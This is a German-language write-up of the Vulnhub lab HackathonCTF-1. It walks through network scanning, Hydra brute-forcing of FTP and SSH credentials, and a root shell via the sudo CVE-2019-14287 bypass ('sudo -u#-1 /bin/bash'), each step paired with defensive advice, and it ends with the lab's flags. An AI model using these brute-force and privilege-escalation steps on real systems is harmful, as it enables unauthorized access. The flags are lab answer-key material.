HackathonCTF-1 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
base64
ftp
hydra
telnet
find
uname
ls
cd
cat
sudo
grep
Web Browser

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase zielt darauf ab, das Zielsystem im Netzwerk zu lokalisieren und erste Informationen über dessen Dienste zu sammeln.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.122	08:00:27:a0:75:98	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sendet ARP-Anfragen, um aktive Geräte im lokalen Netzwerk zu finden und ihre IP- sowie MAC-Adressen aufzulösen.

Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.122` erfolgreich identifiziert. Die MAC-Adresse (`08:00:27:a0:75:98`) und der dazugehörige Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox virtuelle Maschine hin. Dies ist unser Ziel.

Empfehlung (Pentester): Notieren Sie die Ziel-IP `192.168.2.122`. Zur Vereinfachung kann ein Hostname in der lokalen `/etc/hosts`-Datei definiert werden.
Empfehlung (Admin): Standard-Netzwerkscans sind üblich. Netzwerksegmentierung und -überwachung können zur Erkennung beitragen, verhindern solche Scans jedoch nicht vollständig.

Wir fügen einen Eintrag zur lokalen Hosts-Datei hinzu, um die Ansprache des Ziels zu erleichtern.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
192.168.2.122   hackathon1.vln
                    

Analyse: Die lokale Datei `/etc/hosts` wird bearbeitet, um den Hostnamen `hackathon1.vln` der IP `192.168.2.122` zuzuordnen.

Bewertung: Dies ist eine reine Konfigurationsanpassung auf dem Angreifersystem, die die Lesbarkeit und Eingabe von Befehlen erleichtert.

Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen `hackathon1.vln` in den nachfolgenden Schritten.
Empfehlung (Admin): Keine Maßnahmen auf dem Zielsystem erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste, Versionen und das Betriebssystem zu ermitteln.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 23:03 CEST
Nmap scan report for hackathon1.vln (192.168.2.122)
Host is up (0.00011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE VERSION 
21/tcp   open  ftp     vsftpd 3.0.2
23/tcp   open  telnet  Linux telnetd
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 404 Not Found
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 3 disallowed entries
|_/ctf /ftc /sudo
7223/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 
| ssh-hostkey:
|   1024 48:98:fc:58:02:9a:73:0b:c8:9a:18:53:00:f3:69:c7 (DSA)
|   2048 71:8f:f7:f7:23:7f:e6:73:f4:2b:a9:51:de:8f:d1:8d (RSA)
|   256 93:62:fe:09:7c:50:8a:1d:19:2f:4d:95:0f:fa:2c:34 (ECDSA)
|_  256 48:6e:82:29:06:a9:77:5f:08:f2:34:df:60:06:a2:cc (ED25519)
MAC Address: 08:00:27:A0:75:98 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.11 ms hackathon1.vln (192.168.2.122)
                     

Analyse: Nmap wird mit Optionen für SYN-Scan (`-sS`), Standard-Skripte (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressivem Scan (`-A`) und ohne Ping (`-Pn`) gegen alle TCP-Ports (`-p-`) ausgeführt.

Bewertung: Der Scan offenbart vier offene Ports:

Das Betriebssystem wird als älteres Linux (vermutlich Ubuntu 14.04, basierend auf Apache/SSH-Versionen) identifiziert. Die Präsenz von Telnet und die veralteten Versionen aller Dienste stellen signifikante Risiken dar.

Empfehlung (Pentester): Untersuchen Sie alle vier Ports. Telnet (Port 23) sollte wegen seiner Unsicherheit und der Möglichkeit von Default-Credentials priorisiert werden. Prüfen Sie FTP (Port 21) auf anonymen Login und versuchen Sie Bruteforce. Untersuchen Sie die Webserver-Pfade aus der `robots.txt` (Port 80). Behalten Sie SSH (Port 7223) für Bruteforce im Auge, falls Benutzernamen gefunden werden.
Empfehlung (Admin): **Dringend:** Deaktivieren Sie den Telnet-Dienst (Port 23) und erzwingen Sie die Nutzung von SSH. Aktualisieren Sie alle Dienste (vsftpd, Apache, OpenSSH) und das Betriebssystem auf aktuelle, unterstützte Versionen. Überprüfen Sie die FTP-Konfiguration (anonymen Zugang deaktivieren). Überprüfen Sie die Inhalte der Web-Pfade.

Wir filtern die Nmap-Ausgabe, um eine kompakte Liste der offenen Ports zu erhalten.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.122 -p- | grep open
21/tcp   open  ftp     vsftpd 3.0.2
23/tcp   open  telnet  Linux telnetd
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
7223/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 
                     

Analyse: Filtert die vorherige Nmap-Ausgabe, um nur Zeilen anzuzeigen, die das Wort "open" enthalten.

Bewertung: Bestätigt übersichtlich die vier offenen Ports (21, 23, 80, 7223) und die primären Dienste.

Empfehlung (Pentester): Klare Übersicht der zu untersuchenden Dienste.
Empfehlung (Admin): Überprüfen Sie die Notwendigkeit aller offenen Dienste, insbesondere Telnet.

Ein Nikto-Scan wird gegen den Webserver auf Port 80 durchgeführt.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.122
- Nikto v2.5.0
+ Target IP:          192.168.2.122
+ Target Hostname:    192.168.2.122
+ Target Port:        80
+ Start Time:         2023-10-17 23:03:10 (GMT2)
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 3 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ /: Server may leak inodes via ETags, header found with file /, inode: e3, size: 5b2a211a88142, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . 
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8105 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-10-17 23:03:25 (GMT2) (15 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt den Webserver auf Port 80 auf bekannte Schwachstellen und Konfigurationsmängel.

Bewertung: Bestätigt die veraltete Apache-Version, fehlende Security Header und das ETag-Leak. Hebt die `robots.txt` mit 3 Einträgen hervor und findet die Standarddatei `/icons/README`. Keine weiteren spezifischen Anwendungen oder kritischen Schwachstellen wurden direkt von Nikto gefunden.

Empfehlung (Pentester): Analysieren Sie den Inhalt der `robots.txt` und der darin genannten Pfade, wie bereits von Nmap angedeutet.
Empfehlung (Admin): Aktualisieren Sie Apache. Beheben Sie die gemeldeten Header-Probleme. Entfernen Sie Standarddateien.

Web Enumeration & OSINT

Wir untersuchen die auf dem Webserver gefundenen Hinweise und Dateien genauer.

Ein Gobuster-Scan wird durchgeführt, um Verzeichnisse und Dateien auf dem Webserver zu finden.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://hackathon1.vln -x [...] -w "[...]" -b '403,404,301' -e --no-error -k
http://hackathon1.vln/index.html           (Status: 200) [Size: 227]
http://hackathon1.vln/robots.txt           (Status: 200) [Size: 139]
http://hackathon1.vln/ftc.html             (Status: 200) [Size: 154]
http://hackathon1.vln/sudo.html            (Status: 200) [Size: 281]
http://hackathon1.vln/ctf.html             (Status: 200) [Size: 0]
                     

Analyse: Gobuster sucht nach Webinhalten und ignoriert dabei 403, 404 und 301 Statuscodes.

Bewertung: Findet die Startseite (`index.html`), `robots.txt` und die drei darin genannten HTML-Seiten (`ftc.html`, `sudo.html`, `ctf.html`). Die Datei `ctf.html` ist leer.

Empfehlung (Pentester): Untersuchen Sie den Inhalt von `robots.txt`, `ftc.html` und `sudo.html`.
Empfehlung (Admin): Entfernen Sie unnötige oder leere Dateien.

Analyse des Inhalts von `robots.txt`:

user-agent: *
Disallow: /ctf

user-agent: *
Disallow: /ftc

user-agent: *
Disallow: /sudo
                     

Analyse: Die `robots.txt`-Datei listet Pfade auf, die von Suchmaschinen ignoriert werden sollen.

Bewertung: Bestätigt die drei relevanten Pfade, die wahrscheinlich Hinweise enthalten.

Empfehlung (Pentester): Untersuchen Sie die entsprechenden `.html`-Dateien.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus.

Analyse eines Base64-kodierten Hinweises (vermutlich aus einer der HTML-Dateien):

c3NoLWJydXRlZm9yY2Utc3Vkb2l0Cg==
# echo "c3NoLWJydXRlZm9yY2Utc3Vkb2l0Cg==" | base64 -d
ssh-bruteforce-sudoit

Analyse: Ein Base64-kodierter String wird dekodiert.

Bewertung: Der dekodierte Text `ssh-bruteforce-sudoit` gibt eine klare Handlungsanweisung: Führe einen SSH-Bruteforce durch und nutze dann `sudo`.

Empfehlung (Pentester): Konzentrieren Sie sich auf den SSH-Dienst (Port 7223) für den initialen Zugriff und planen Sie die Verwendung von `sudo` für die Privilegienerweiterung.
Empfehlung (Admin): Hinterlassen Sie keine solchen Hinweise.

Analyse des Inhalts von `ftc.html`:

what are you looking for??????

-- #117
#115
#101
#32
#114
#111
#99
#107
#121
#111
#117
#46
#116
#120
#116
--
                     

Analyse: Die Datei enthält eine Liste von Zahlen, die ASCII-Dezimalcodes entsprechen.

Bewertung: Die Umwandlung der Dezimalcodes in Zeichen ergibt `use rockyou.txt`. Dies ist ein direkter Hinweis auf die zu verwendende Wortliste für den Bruteforce-Angriff.

Empfehlung (Pentester): Verwenden Sie `/usr/share/wordlists/rockyou.txt` für den SSH-Bruteforce-Versuch.
Empfehlung (Admin): Keine Hinweise hinterlassen.

Analyse des Inhalts von `sudo.html`:

Just Sudo It..
From the little spark may burst a mighty flame.
                     

Analyse: Die Datei enthält einen klaren Hinweis auf `sudo`.

Bewertung: Bestätigt, dass `sudo` der vorgesehene Mechanismus für die Privilegienerweiterung ist.

Empfehlung (Pentester): Nach Erlangung einer Shell `sudo -l` prüfen.
Empfehlung (Admin): Keine Hinweise hinterlassen.

FTP & Telnet Enumeration

Wir untersuchen die FTP- und Telnet-Dienste, um weitere Informationen oder Zugänge zu finden.

Versuch eines anonymen FTP-Logins:

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.122
Connected to 192.168.2.122.
220 (vsFTPd 3.0.2)
Name (192.168.2.122:cyber): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
                    
ftp> quit
221 Goodbye.

Analyse: Login-Versuch als `anonymous` am FTP-Server.

Bewertung: Der anonyme Login ist nicht erlaubt (`530 Login incorrect`).

Empfehlung (Pentester): Versuchen Sie, Benutzernamen zu erraten oder zu finden und führen Sie dann einen Bruteforce-Angriff auf den FTP-Dienst durch. Konzentrieren Sie sich jedoch auf SSH, wie die Hinweise nahelegen.
Empfehlung (Admin): Korrekte Konfiguration (anonymer Zugang deaktiviert).

FTP-Bruteforce-Versuch für den Benutzer `test` (erraten oder aus anderem Kontext):

┌──(root㉿Cybermaschine)-[~] └─# hydra -l test -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.122:21 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-17 23:08:34
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344516 login tries (l:1/p:14344516), ~224134 tries per task
[DATA] attacking ftp://192.168.2.122:21/

[21][ftp] host: 192.168.2.122   login: test   password: jordan23

1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 13 final worker threads did not complete until end.
[ERROR] 13 targets did not resolve or could not be connected 
[ERROR] 0 target did not complete 
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-17 23:09:22
                    

Analyse: Hydra versucht, das Passwort für den FTP-Benutzer `test` mit der `rockyou.txt`-Liste zu erraten.

Bewertung: Erfolg! Das Passwort `jordan23` für den Benutzer `test` wurde gefunden.

Empfehlung (Pentester): Versuchen Sie diese Zugangsdaten (`test`/`jordan23`) für FTP, Telnet und SSH (Port 7223).
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Bruteforce-Schutz implementieren (z.B. fail2ban).

Erfolgreicher FTP-Login als `test` und Untersuchung des Home-Verzeichnisses:

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.122
Connected to 192.168.2.122.
220 (vsFTPd 3.0.2)
Name (192.168.2.122:cyber): test
331 Please specify the password.
Password: jordan23
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                     
ftp> ls -la
229 Entering Extended Passive Mode (|||14987|).
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 Sep 24  2020 .
drwxr-xr-x    4 0        0            4096 Sep 23  2020 ..
-rw-------    1 1001     1001         1145 Oct 27  2020 .bash_history 
-rw-r--r--    1 1001     1001          220 Sep 23  2020 .bash_logout
-rw-r--r--    1 1001     1001         3637 Sep 23  2020 .bashrc
drwx------    2 1001     1001         4096 Sep 23  2020 .cache 
-rw-r--r--    1 1001     1001          675 Sep 23  2020 .profile
226 Directory send OK. 
                     
ftp> quit

Analyse: Erfolgreicher FTP-Login mit `test`/`jordan23`. Das Home-Verzeichnis wird aufgelistet.

Bewertung: Bestätigt den Zugriff. Die `.bash_history` ist vorhanden, aber nicht lesbar über FTP (dafür bräuchte man `get .bash_history`). Die Berechtigungen (`-rw-------`) verhindern das Herunterladen durch andere.

Empfehlung (Pentester): Versuchen Sie den Login über einen Dienst, der Shell-Zugriff ermöglicht (Telnet, SSH), um die `.bash_history` zu lesen.
Empfehlung (Admin): Keine Aktion erforderlich (Berechtigungen sind OK).

Verbindungsaufbau zum Telnet-Dienst:

┌──(root㉿Cybermaschine)-[~] └─# telnet 192.168.2.122 23
Trying 192.168.2.122...
Connected to 192.168.2.122.
Escape character is '^]'.
Ubuntu 14.04 LTS
ctf login:
                    

Analyse: Verbindung zum Telnet-Dienst auf Port 23 wird hergestellt.

Bewertung: Bestätigt, dass der Telnet-Dienst läuft und einen Login-Prompt für "ctf" anzeigt (nicht "test").

Empfehlung (Pentester): Der Login als `test` über Telnet scheint nicht direkt möglich zu sein oder der Prompt ist irreführend. Konzentrieren Sie sich auf SSH (Port 7223) mit den Credentials `test`/`jordan23`.
Empfehlung (Admin): Telnet deaktivieren!

Initial Access (via SSH)

Basierend auf den Hinweisen (`ssh-bruteforce-sudoit`, `use rockyou.txt`) und den über FTP-Bruteforce gefundenen Zugangsdaten (`test`/`jordan23`) versuchen wir den SSH-Login auf Port 7223.

┌──(root㉿Cybermaschine)-[~] └─# hydra -l test -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.122:7223 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). 

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-17 23:09:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344516 login tries (l:1/p:14344516), ~224134 tries per task
[DATA] attacking ssh://192.168.2.122:7223/
[STATUS] 459.00 tries/min, 459 tries in 00:01h, 14344085 to do in 520:51h, 36 active
-
[7223][ssh] host: 192.168.2.122   login: test   password: jordan23
-
1 of 1 target successfully completed, 1 valid password found
                    

Analyse: Hydra wird verwendet, um das Passwort für den Benutzer `test` auf dem SSH-Dienst (Port 7223) mit der `rockyou.txt`-Liste zu erraten.

Bewertung: Erfolg! Hydra bestätigt, dass das bereits über FTP gefundene Passwort `jordan23` auch für den SSH-Login des Benutzers `test` gültig ist.

Empfehlung (Pentester): Initial Access via SSH ist nun möglich. Loggen Sie sich mit `ssh test@hackathon1.vln -p 7223` ein.
Empfehlung (Admin): Starke, einzigartige Passwörter verwenden. Brute-Force-Schutz für SSH implementieren (fail2ban).

Analyse: (Implizit) Erfolgreicher SSH-Login als `test` mit dem Passwort `jordan23` auf Port 7223.

Bewertung: Initial Access wurde erlangt. Wir haben eine Shell als `test`.

Empfehlung (Pentester): Beginnen Sie die lokale Enumeration als `test`.
Empfehlung (Admin): Keine Aktion.

Local Enumeration

Nach Erhalt der Shell als `test` untersuchen wir das System weiter.

Suche nach SUID-Binaries (bereits aus dem Log von Telnet bekannt, hier Wiederholung/Bestätigung):

test@ctf:/var$ find / -type f -perm -4000 -ls 2>/dev/null
1058892   76 -rwsr-xr-x   1 root     root        75256 Oct 21  2013 /usr/bin/mtr
1048870  152 -rwsr-xr-x   1 root     root       155008 Feb 10  2014 /usr/bin/sudo
1048752   32 -rwsr-xr-x   1 root     root        32464 Feb 16  2014 /usr/bin/newgrp
1048683   68 -rwsr-xr-x   1 root     root        68152 Feb 16  2014 /usr/bin/gpasswd
1048764   48 -rwsr-xr-x   1 root     root        47032 Feb 16  2014 /usr/bin/passwd
1048609   48 -rwsr-xr-x   1 root     root        46424 Feb 16  2014 /usr/bin/chfn
1058796   24 -rwsr-xr-x   1 root     root        23104 Mar 14  2014 /usr/bin/traceroute6.iputils
1048612   44 -rwsr-xr-x   1 root     root        41336 Feb 16  2014 /usr/bin/chsh
1065255   12 -rwsr-xr--   1 root     telnetd     10712 Oct  2  2012 /usr/lib/telnetlogin
1062016  432 -rwsr-xr-x   1 root     root       440416 Mar  4  2019 /usr/lib/openssh/ssh-keysign
1057022  292 -rwsr-xr--   1 root     messagebus   298512 Apr  1  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
1048960   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
1049591   12 -rwsr-xr-x   1 root     root        10344 Apr 12  2014 /usr/lib/pt_chown
1058997  336 -rwsr-xr--   1 root     dip        343168 Jan 22  2013 /usr/sbin/pppd
1059336   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Apr 16  2014 /usr/sbin/uuidd
786566   32 -rwsr-xr-x   1 root     root        30800 Dec 16  2013 /bin/fusermount
786491   96 -rwsr-xr-x   1 root     root        94792 Apr 16  2014 /bin/mount
786524   40 -rwsr-xr-x   1 root     root        36936 Feb 16  2014 /bin/su
786532   68 -rwsr-xr-x   1 root     root        69120 Apr 16  2014 /bin/umount
                     

Analyse: Erneute Auflistung der SUID-Binaries.

Bewertung: Bestätigt die Anwesenheit von `/usr/bin/sudo` und den alten Kernel.

Empfehlung (Pentester): Prüfen Sie die `.bash_history` und die `sudo`-Rechte.
Empfehlung (Admin): Aktualisieren Sie das System.

Analyse der `.bash_history` des Benutzers `test` (bereits bekannt, hier Wiederholung/Bestätigung):

test@ctf$ cat .bash_history
exit
sudo -i
mkdir ctf.conf
mkdir ctf_conf
mkdir somu
logout
cd ..
ls
cd test/
cd ctf.conf/
cat pass.txt
nano pass.txt
sudo poweroff -f
poweroff
sudo -i
locate ctf.zip
logout
jordan23   <---
sudo -i
su ctf
uid
...
...
uname -r
sudo -v
logout
sudo -u #-1 /etc
sudo --u #-1
logout
exit
sudo -i
reboot
sudo -i
sudo -u#-1 /bin/bash 
logout
                     

Analyse: Die Bash-History von `test` wird erneut analysiert.

Bewertung: Bestätigt die vorherigen Funde: Passwort `jordan23`, wiederholte Nutzung von `sudo -i`, und der entscheidende Befehl `sudo -u#-1 /bin/bash`.

Empfehlung (Pentester): Führen Sie `sudo -u#-1 /bin/bash` aus.
Empfehlung (Admin): `sudo`-Version prüfen/aktualisieren, Konfiguration härten.

Proof of Concept (Privilege Escalation via Sudo CVE-2019-14287)

Dieser Abschnitt zeigt die Ausnutzung der `sudo`-Schwachstelle CVE-2019-14287 (oder einer Fehlkonfiguration), die durch die Analyse der `.bash_history` identifiziert wurde, um Root-Rechte zu erlangen.

Kurzbeschreibung: Die `.bash_history` enthielt den Befehl `sudo -u#-1 /bin/bash`. Diese Methode nutzt eine bekannte Schwachstelle (CVE-2019-14287 in `sudo` < 1.8.28) oder eine unsichere Konfiguration in `/etc/sudoers`, die es erlaubt, durch Angabe der User ID `-1` (oder `4294967295`) Befehle als Root auszuführen, auch wenn dies nicht explizit durch eine `ALL=(ALL:ALL)` Regel erlaubt ist.

Voraussetzungen: Shell-Zugriff als Benutzer `test`. Eine anfällige `sudo`-Version (< 1.8.28) oder eine spezifische Konfiguration.

Schritt 1: Ausführung des Exploits

test@ctf$ sudo -u#-1 /bin/bash
[sudo] password for test: jordan23
root@ctf:/# 
                     

Analyse: Der Befehl `sudo -u#-1 /bin/bash` wird ausgeführt. Nach Eingabe des Passworts für `test` wird der Befehl verarbeitet.

Bewertung: Erfolg! Der Shell-Prompt wechselt zu `root@ctf:/#`, was anzeigt, dass wir eine Root-Shell erhalten haben. Die `sudo`-Schwachstelle oder Fehlkonfiguration wurde erfolgreich ausgenutzt.

Empfehlung (Pentester): Bestätigen Sie die Root-Rechte mit `id`. Sammeln Sie die Root-Flagge.
Empfehlung (Admin): **Dringend:** Aktualisieren Sie `sudo` auf eine Version >= 1.8.28. Überprüfen Sie die Konfiguration in `/etc/sudoers` auf unsichere Regeln, insbesondere solche, die `ALL` als Benutzer oder Host enthalten und möglicherweise die `-u#-1`-Umgehung ermöglichen.

Risikobewertung:** Die Kombination aus einem über Bruteforce erratbaren Passwort für einen Benutzer und einer Schwachstelle oder Fehlkonfiguration in `sudo` (CVE-2019-14287) stellt ein hohes Risiko dar und führte zur vollständigen Kompromittierung des Systems.

Empfehlungen (Zusammenfassung):**

  • **Dringend:** Aktualisieren Sie `sudo` (>= 1.8.28).
  • **Dringend:** Deaktivieren Sie den Telnet-Dienst.
  • Aktualisieren Sie das Betriebssystem (Ubuntu 14.04 ist EOL) und alle Dienste (vsftpd, Apache, OpenSSH).
  • Verwenden Sie starke, einzigartige Passwörter und implementieren Sie Bruteforce-Schutz.
  • Konfigurieren Sie FTP sicher (kein anonymer Zugang).
  • Konfigurieren Sie `/etc/sudoers` restriktiv nach dem Least-Privilege-Prinzip.
  • Entfernen Sie unnötige Hinweise aus Webdateien und Shell-Historien.

Flags

cat /home/test/user.txt ???
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt ???
5C42D6BB0EE9CE4CB7E7349652C45C4A